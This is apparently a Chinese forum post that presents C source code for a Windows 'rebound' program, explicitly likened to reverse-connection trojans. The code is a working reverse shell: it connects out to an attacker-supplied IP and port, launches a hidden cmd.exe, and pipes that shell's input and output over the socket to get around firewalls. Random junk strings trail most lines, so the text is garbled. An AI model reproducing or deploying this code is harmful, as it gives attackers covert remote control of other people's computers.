这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bi:TX<K+
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/* ============================== s|cL
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Rebound port in Windows NT E((U=P}+g
By wind,2006/7 \vKKq/f
===============================*/ f3[/zcm;
#include ?QbxC,& i
#include m|/q
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#pragma comment(lib,"wsock32.lib") T_=IH~"
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void OutputShell(); !e<D2><^
SOCKET sClient; $vC}Fq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OV.f+_LS
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void main(int argc,char **argv) I1Jhvyd?$
{ 5`3Wua
WSADATA stWsaData; Y!1x,"O'H
int nRet; A0A]#=S
SOCKADDR_IN stSaiClient,stSaiServer; A,u}p rwH
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if(argc != 3) O8mmS!
{ 0W6jF5T
printf("Useage:\n\rRebound DestIP DestPort\n"); wG-lR,glb
return; xNAa,aMM
} Y9w^F_relL
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WSAStartup(MAKEWORD(2,2),&stWsaData); #GVf+8"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YD@n8?~$$
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stSaiClient.sin_family = AF_INET; 4?c4GT9(6S
stSaiClient.sin_port = htons(0); 6");NHE
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _@/nc:)H
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?E6C|A$I
{ R[bI4|t
printf("Bind Socket Failed!\n"); <fm<UO,%
return; Zk*!,, P!
} SKdh!*G
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stSaiServer.sin_family = AF_INET; 5f-eWW]!
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]7/6u.G7R
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q^@z]Sc[
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Kd|@
{ =K8z8K?
printf("Connect Error!"); 8Rr ic[v
return; [:"7B&&A
} k%TjRf{p
OutputShell(); x:0nK,
} 8;q2W
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void OutputShell() ,5Nf9z!hk(
{ YCI-p p
char szBuff[1024]; +m]Kj3-z@
SECURITY_ATTRIBUTES stSecurityAttributes; a`E1rK'
OSVERSIONINFO stOsversionInfo; EpdSsfDP
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {[Z}<#n)
STARTUPINFO stStartupInfo; @";zM&
char *szShell; Re]7G.y
PROCESS_INFORMATION stProcessInformation; 4lsg%b6_%,
unsigned long lBytesRead; /^9K Zj
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TChKm-x
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fKQq]&~
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stSecurityAttributes.lpSecurityDescriptor = 0; xwe^_7
stSecurityAttributes.bInheritHandle = TRUE; =1e>$E#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Qk#`e
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); TBr@F|RXiO
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }MCJ$=5
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DD^iEhG
stStartupInfo.wShowWindow = SW_HIDE; ?o883!&v
stStartupInfo.hStdInput = hReadPipe; 5* 3T+OK
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z]33_[G1U
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GetVersionEx(&stOsversionInfo); R8n/QCeY{
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switch(stOsversionInfo.dwPlatformId) R0DWjN$j
{ LqcHsUFj
case 1: S*9qpes-m|
szShell = "command.com"; KXvBJA$
break; ~3r}6,%
default:
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szShell = "cmd.exe"; p*OpO&oodu
break; w$j!89@)
} &* 1iW(x
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \Zbi`;m?
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send(sClient,szMsg,77,0); z(JDLd
while(1) FdFN4{<QZ
{ ^Z`?mNq9
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Uh=@8v
if(lBytesRead) BMxe)izT;
{ $Q'S8TU
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z&[_8Y5j
send(sClient,szBuff,lBytesRead,0); NU{`eM
} Y}UVC|Ef
else T2p;#)dP
{ Uk@'[_1z
lBytesRead=recv(sClient,szBuff,1024,0); s?pd&_kOv3
if(lBytesRead<=0) break; \\{+t<?J
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); NR|t~C+
} Dg~L"
}
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return; 4ht+u
}